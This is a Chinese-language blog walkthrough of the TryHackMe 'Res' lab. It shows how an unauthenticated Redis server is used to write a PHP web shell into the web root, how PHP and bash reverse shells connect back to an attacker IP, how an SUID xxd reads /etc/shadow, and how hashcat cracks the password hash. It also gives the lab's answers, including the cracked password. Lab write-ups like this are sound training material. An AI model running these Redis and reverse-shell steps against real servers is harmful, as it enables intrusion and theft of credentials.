【THM】Res练习

【THM】Res练习

与本文相关的TryHackMe实验房间链接:TryHackMe | Res

简介:在这个半引导式挑战中,使用内存中的数据结构入侵易受攻击的数据库服务器!

TryHackMe

你准备好接受挑战了吗?

image-20241004172058444

第一题:扫描机器,有多少端口是开放的?

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -sV -sC -p- 10.10.183.82

-sV 启用服务版本检测,获取开放端口上运行服务的版本信息。

-sC 启用默认脚本扫描,运行一组预定义的脚本进行更深入的检测。

-p- 扫描所有端口

建议使用另一个命令,扫描全端口跑了天久

nmap -sV -sC -p1-10000 10.10.183.82

-p1-10000 扫描1-10000端口

可以发现目标开放了2个端口:80/tcp http服务、6379/tcp redis数据库服务

image-20241004190508207

第二题:服务器上安装的数据库管理系统是什么?

由端口扫描可知使用了redis数据库管理系统

第三题:数据库管理系统在哪个端口上运行?

由端口扫描可知redis数据库管理系统在6379端口上运行

第四题:服务器上安装的管理系统版本是什么?

由端口扫描可知redis数据库管理系统版本为6.0.7

image-20241004211111382

第五题:破坏机器并找到user.txt

第一步

访问网站

访问10.110.183.82观察web应用

image-20241004203108140

发现只有一个默认的Apache HTTP server登录页面,没有找到可以利用的地方

第二步

分析Redis相关漏洞

首先学习Redis是什么

【趣话Redis第一弹】我是Redis,MySQL大哥被我坑惨了!

HackTricks | HackTricks的redis渗透模块中学到了可以上传shell

首先我们先尝试无密码连接上redis服务:

redis-cli -h 10.10.183.82

redis-cli Redis 命令行界面工具

-h 指定要连接的 Redis 服务器的主机名或 IP 地址

成功连接:

image-20241004204901788

第三步

准备shell页面

使用以下命令设置Redis数据库的持久化目录:

config set dir /var/www/html

config 用于操作 Redis 配置的命令

set 设置一个指定的配置项

dir 要设置的配置项,这里表示 Redis 数据库的持久化目录

使用以下命令设置持久化数据库的文件名

config set dbfilename redis.php

dbfilename 要设置的配置项,表示 Redis 持久化数据的文件名

接下来我们可以上传的可就多了,我们可以弄一个shell

set test "<?php system($_GET['shell']); ?>"

test 要设置的键名

上传后可以用蚁剑连接或者传输以下参数得到shell

cmd=php -r '$sock=fsockopen("10.10.146.90","6666");exec("/bin/bash -i 0>&3 2>&3 1>&3");'

但我的攻击机没有所以直接用的反弹shell,反弹shell如下:

set test "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.10.146.90/6666 0>&1'\"); ?>"

首先监听我设置的6666端口,设置键名后访问redis.php成功得到shell:

image-20241004210735190

使用以下命令使得反弹shell稳定化:

python -c "import pty; pty.spawn('/bin/bash')"

第四步

寻找user.txt

我们可以在vianka的用户目录中找到user.txt

image-20241004210920805

image-20241004211121614

第六题:本地用户的密码是什么?

第一步

查看/etc/shadow文件

使用以下命令:

cat /etc/shadow

image-20241004211328125

莫得权限,我们看看我们有什么权限:

find / -type f -perm -04000 -ls 2>/dev/null

image-20241004211440714

xxd 是一个用于在 Unix/Linux 系统中处理二进制文件的命令行工具。它可以将文件的内容以十六进制和 ASCII 格式进行查看和转换。

我们可以使用xxd命令来查看文件内容:

xxd /etc/shadow | xxd -r

-r 将输入的十六进制数据转换回二进制格式

我们将输出的shadow十六进制模式转换成了原始的二进制内容:

image-20241004211731937

得到了:

$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0

第二步

hash解密

先去example_hashes hashcat wiki]查询hash加密的类型:

image-20241004212218887

我们使用hashcat进行破解(这里用了攻击机默认的字典):

hashcat -a 0 -m 1800 '$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0'  /usr/share/wordlists/rockyou.txt

image-20241004212304298

我们得到密码为beautiful1

image-20241004212356731

第七题:提升权限并获取root.txt

第一步

登录本地用户

我们有了vianka的密码,那么我们就可以使用本地用户登录了(没有开放ssh服务所以不能用ssh连接):

su vianka

image-20241004212834283

为了能够访问root目录,我们提升权限:

sudo -i

成功了,得到root.txt:

image-20241004213131784

image-20241004213155447

posted @ 2024-10-04 21:35  Super_Snow_Sword  阅读(1)  评论(0编辑  收藏  举报